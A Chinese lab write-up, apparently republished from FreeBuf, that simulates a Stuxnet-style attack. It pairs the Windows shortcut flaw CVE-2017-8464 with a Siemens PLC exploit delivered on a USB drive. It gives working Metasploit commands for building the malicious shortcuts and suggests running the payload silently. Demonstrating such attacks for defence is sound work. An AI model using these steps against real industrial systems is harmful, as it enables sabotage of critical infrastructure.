通过“震网三代”和Siemens PLC 0day漏洞,实现对工业控制系统的入侵

by LauCyun Mar 5,2018 08:08:22 14,630 views

* 本文首次发表于:http://www.freebuf.com/vuls/163950.html

实验环境:

  • 渗透环境:
    • OS:Kali Linux 2017.3
  • 工程师站:
    • OS:Windows 7 sp1 x64
    • IP:192.168.0.152
  • 仿真平台(仿真伊朗核设施的铀浓缩的离心机):
    • PLC:Siemens S7-300
    • IP:192.168.0.234

    • 图1 仿真平台
  • 漏洞:

0x00 前言

2006年,伊朗重启核设施,为了阻止伊朗此举,美国派出间谍买通伊朗核工厂技术人员,将含有漏洞利用工具的U盘插入了工厂控制系统电脑。紧接着,核工厂大量离心机无缘无故损坏,科学家束手无策,工厂被迫关闭,延迟核计划。这就是2010年曝光的“震网事件(Stuxnet)”。


图2 “震网”事件

而攻击伊朗核工厂的漏洞利用工具就是“震网一代”,它因此被公认为世界上首个网络“超级破坏性武器”。

2011年,“震网二代”出现,因为它会在临时目录下生成名为~DQ 的随机文件,也被称作Duqu。

2017年6月14日,微软发布安全公告,修复了可能被黑客利用的Windows快捷方式高危漏洞(CVE-2017-8464),由于其与攻击伊朗核工厂的震网一代利用漏洞相似,被业界普遍称为“震网三代”。

为此,本文结合“震网三代”漏洞和西门子0 day漏洞两个漏洞组合攻击控制系统的仿真演示,其中“震网三代”漏洞用于触发含有西门子0 day漏洞的poc程序。

其思路:先把西门子0 day漏洞的poc程序编译成exe文件,然后exploit出含CVE-2017-8464漏洞的快捷方式,最后把exe程序和快捷方式装载到U盘。


图3 攻击U盘

0x01 漏洞

1 CVE-2017-8464

2017年6月14日,微软发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞。

当存在漏洞的电脑被插上存在病毒木马的U盘时,不需要任何额外操作,漏洞攻击程序就可以借此完全控制用户的电脑系统。 该漏洞也可能籍由用户访问网络共享、从互联网下载、拷贝文件等操作被触发和利用攻击。

特别是能源、交通、金融等行业的基础设施隔离网,由于需要使用U盘、移动硬盘等存储设备进行数据交换,一旦连接含有漏洞(CVE-2017-8464)利用工具的U盘、移动硬盘连接隔离网内的一台电脑,不需要任何操作,电脑就会被病毒控制。

该漏洞的原理同2010年美国和以色列入侵并破坏伊朗核设施的震网行动中所使用的穿透核设施隔离网络的漏洞(CVE-2010-2568)非常类似,它可以很容易的被黑客利用来攻击基础设施、存放关键资料的核心隔离系统等。

详细介绍参考:www.freebuf.com/news/143353.html

其影响版本:

  • Windows 7
  • Windows 8.1
  • Windows RT 8.1
  • Windows 10
  • Windows Server 2008
  • Windows Server 2008 R2
  • Windows Server 2012
  • Windows Server 2012 R2
  • Windows Server 2016

2 Siemens PLC 0day漏洞

该0 day漏洞是一个能使离心机的转动异常的漏洞。

通过VS2008编译成名为attacker.exe的文件,该文件运行时,先连接上PLC, 然后发送攻击包,最后导致离心机的转动异常。


图4 攻击程序attacker.exe,配置文件init.txt

为了演示效果,attacker.exe不会静默运行。为了攻击更加完美,你可以使其静默运行。

0x02 制作攻击u盘

目前CVE-2017-8464漏洞可供测试利用的脚本有如下两个:

本文着重测试msf脚本,然后将exp拷贝至u盘。

下载msf脚本:

$ cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat/
$ ls -al | grep cve_2017_8464_lnk_rce.rb
# 如果存在,就不需要下载
$ wget https://raw.githubusercontent.com/ykoster/metasploit-framework/master/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb

生成exp:

> use exploits/windows/fileformat/cve_2017_8464_lnk_rce
> set payload windows/x64/exec
> set dllname attacker.dll
> set filename attacker.lnk
> set cmd e:\\attacker.exe
> set EXITFUNC thread 
> exploit

注:

  • msf脚本默认对应系统Windows x64,所以payload也选择64位的exec。
  • 工程师站pc中的u盘可用的盘符为E盘。

其参数设置如下图5:


图5 参数设置

执行后,在/root/.msf4/local/生成24个利用文件,如下图6:


图6 exploit


图7 攻击文件

将以上文件复制到u盘。为了更好适配d-z盘符,你需要分别设置set cmd d:\\attacker.exeset cmd z:\\attacker.exe23个盘符的快捷方式。

Ok,这样攻击u盘就弄好了~

0x03 攻击

万事俱备只欠攻击啦~~~

把U盘插入工程师站pc中,然后就看到如下图8所示:


图8 开启U盘自动播放功能,插入U盘后触发漏洞

上图8中的pc是开启了U盘自动播放功能,在u盘插入后,系统自动访问了u盘,所以就触发漏洞。

同样,直接访问目录也会触发漏洞,如下图9所示:


图9 直接访问目录,触发漏洞

此时,离心机的状态已经异常了(如图10所示),而从控制台看到离心机的状态(如图11所示)是正常的!


图10 离心机状态


图11 控制台中的离心机状态

Nice,目前系统已经被攻击了~

0x04 结论

上面实验仿真了伊朗“震网”事件,其主要使用了Windows Lnk远程代码执行漏洞(CVE-2017-8464)和Siemens PLC 0day漏洞。

针对CVE-2017-8464漏洞给出以下几个建议:

特别是能源、交通、金融等行业需要重视,并及时处理。

0x05 参考

Tags